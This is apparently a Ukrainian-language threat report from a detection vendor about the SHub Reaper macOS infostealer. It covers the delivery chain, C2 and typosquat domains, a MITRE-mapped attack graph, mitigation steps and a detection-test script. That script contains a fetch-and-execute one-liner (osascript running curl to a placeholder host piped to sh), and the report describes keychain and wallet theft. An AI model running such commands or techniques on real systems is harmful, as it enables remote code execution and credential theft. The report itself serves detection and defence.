SHub Reaper | macOS Stealer підробляє Apple, Google та Microsoft в єдиному ланцюжку атак

SOC Prime Team

Стежити

SHub Reaper | macOS Stealer підробляє Apple, Google та Microsoft в єдиному ланцюжку атак

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

У звіті аналізується новий варіант інфоркрадача для macOS під назвою SHub Reaper, який використовує підроблені інсталяційні файли WeChat та Miro для доставки шкідливого AppleScript через домен-топоклонку в стилі Microsoft. Після запуску в Редакторі скриптів цей шкідливий код збирає дані браузера, файли криптовалютних гаманців та інформацію у зв’язці ключів, а потім ексфільтрує викрадений вміст у вигляді сегментованих архівів ZIP. Зловмисне програмне забезпечення також втручається у файли гаманців і встановлює стійкість через LaunchAgent, замаскований під оновлення програмного забезпечення Google. Рекомендовано зосередитись на виявленні виконання AppleScript, створенні підозрілих LaunchAgent та вихідному трафіку до відомої інфраструктури командування і управління.

Дослідження

SentinelOne відстежив повний багатоетапний ланцюжок доставки, включаючи зловживання схемою applescript:// , динамічну генерацію AppleScript та модуль захоплення файлів, що імітує поведінку крадіжки документів, як видно в AMOS. Дослідники зафіксували мережевий трафік до домену командування і управління hebsbsbzjsjshduxbs.xyz та пов’язаних з ним кінцевих точок, а також створення тимчасових файлів у /tmp та LaunchAgent, розміщеного в каталозі бібліотеки користувача. Дослідження також виявило жорстко закодовану функціональність Telegram-бота, яка використовується для телеметрії оператора.

Заходи

Захисникам слід блокувати доступ до доменів mlcrosoft.co.com, qq-0732gwh22.com, та mlroweb.com, а також стежити за LaunchAgent, створеними за шляхами, що імітують компоненти оновлень Google. Слід використовувати вказувальний список дозволених додатків, щоб обмежити виконання AppleScript з ненадійних джерел, і суворо дотримуватись перевірки підпису коду. Мережеві виявлення також повинні сповіщати про зв’язок з ідентифікованим командним доменом та відомими API шляхами.

Відповідь

Якщо виявлено активність SHub Reaper, негайно ізолюйте уражену кінцеву точку, завершите будь-які підозрілі процеси AppleScript або LaunchAgent та видаліть шкідливі файли із /tmp та бібліотеки користувача. Дослідники потім повинні провести повну форензичну збірку магазинів даних браузера, директорій гаманців та сховищ облікових даних, з подальшою зміною облікових даних при підозрі на компрометацію. Ідентифікована інфраструктура командування і контролю повинна бути заблокована, а команда реагування на інциденти має розпочати більш широке полювання на загрози в середовищі.

graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Вузли – Етапи атаки step_initial_access[“Техніка – T1659 Впровадження Контенту: Скомпрометовані вебсайти-приманки (підроблені WeChat або Miro) розміщують шкідливі URL applescript://, які доставляють корисне навантаження”] class step_initial_access action step_execution[“Техніка – T1027 Обфусковані Файли або Інформація: AppleScript, відкритий у Script Editor, виконує прихований base64-кодований виклик curl, який декодує та запускає stager”] class step_execution action step_code_retrieval[“Техніка – T1505 Компонент Серверного ПЗ: AppleScript завантажує основний шкідливий AppleScript із віддаленого сервера”] class step_code_retrieval action step_credential_capture[“Техніка – T1056 Захоплення Введення: AppleScript запитує у користувача пароль та викрадає дані Keychain”] class step_credential_capture action step_data_collection[“Техніка – T1074.001 Локальне Стадіювання Даних: Filegrabber сканує Desktop і Documents на наявність цільових розширень та готує їх у /tmp/shub_<rand>”] class step_data_collection action step_archive[“Техніка – T1560.001 Архівування через Утиліту: Зібрані файли архівуються та розбиваються на частини по 70 MB”] class step_archive action step_exfiltration[“Техніка – T1011 Ексфільтрація через Інший Мережевий Канал: Частини завантажуються через HTTPS на сервер командування та керування”] class step_exfiltration action step_wallet_hijack[“Техніки – T1553.002 Підписування Коду та T1036.001 Маскування: Шкідливі файли app.asar замінюють легітимні бінарні файли криптогаманців, використовуючи ad-hoc або недійсні підписи коду для обходу Gatekeeper”] class step_wallet_hijack action step_persistence[“Техніки – T1037.002 Login Hook, T1176 Розширення ПЗ та T1574.007 Перехоплення Шляху: Підроблений каталог Google Software Update з plist LaunchAgent (com.google.keystone.agent.plist), розміщеним у PATH, забезпечує постійне виконання”] class step_persistence action step_backdoor[“Техніка – T1219 Засоби Віддаленого Доступу: LaunchAgent виконує скрипт GoogleUpdate кожні 60 с, надсилає beacon-запити до /api/bot/heartbeat та може виконувати додаткові команди”] class step_backdoor malware %% Вузли – Інструменти / Компоненти tool_applescript[“Інструмент – Назва: AppleScript Опис: Скрипт, що виконується через Script Editor для декодування та запуску корисного навантаження”] class tool_applescript tool tool_curl[“Інструмент – Назва: curl Опис: Використовується для завантаження додаткових AppleScript і файлів даних через HTTPS”] class tool_curl tool tool_launchagent[“Інструмент – Назва: LaunchAgent Опис: Механізм закріплення на рівні користувача macOS, визначений plist-файлом”] class tool_launchagent tool malware_stager[“Шкідливе ПЗ – Назва: Stager Опис: Невеликий завантажувач, який отримує основне AppleScript-корисне навантаження”] class malware_stager malware %% Зв’язки – Потік step_initial_access –>|призводить до| step_execution step_execution –>|використовує| tool_applescript step_execution –>|запускає| malware_stager malware_stager –>|завантажує через| tool_curl malware_stager –>|ініціює| step_code_retrieval step_code_retrieval –>|використовує| tool_curl step_code_retrieval –>|дозволяє| step_credential_capture step_credential_capture –>|збирає| step_data_collection step_data_collection –>|готує файли для| step_archive step_archive –>|створює частини для| step_exfiltration step_exfiltration –>|доставляє до| step_wallet_hijack step_wallet_hijack –>|модифікує| step_persistence step_persistence –>|встановлює| tool_launchagent tool_launchagent –>|забезпечує| step_backdoor step_backdoor –>|виступає як| malware_stager %% Призначення класів class step_initial_access,step_execution,step_code_retrieval,step_credential_capture,step_data_collection,step_archive,step_exfiltration,step_wallet_hijack,step_persistence,step_backdoor action class tool_applescript,tool_curl,tool_launchagent tool class malware_stager,step_backdoor malware

Потік атаки

Розповідь про атаку та команди:
Атакуючий створює лаконічну команду, яка використовує osascript для виконання команди оболонки. У межах AppleScript do shell script запускає curl щоб завантажити віддалений скрипт оболонки (payload.sh) і одразу передає його sh для виконання. Оскільки весь ланцюжок вбудований у єдине викликання AppleScript, macOS логує один process_creation подію, чия командна лінія містить обидва osascript and curl, задовольняючи правило виявлення.

Регресивний тестовий скрипт:

#!/bin/bash
#
# Імітує виконання SHub Reaper на macOS
# Генерує одну подію process_creation, що містить 'osascript' та 'curl'
#
MALICIOUS_URL="https://malicious.example.com/payload.sh"

# Однорядкове: osascript запускає команду оболонки, що завантажує навантаження і виконує його
osascript -e "do shell script "curl -s ${MALICIOUS_URL} | sh""

Команди очищення:

#!/bin/bash
#
# Очистити всі артефакти, створені симуляцією.
# Навантаження виконується в пам'яті і не записує файли, але ми впевнюємося, що немає залишкових процесів.
#
# Вбити всі сторонні процеси 'sh', запущені тестом (використовувати обережно в робочих системах)
pkill -f "sh -c curl -s https://malicious.example.com/payload.sh"

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно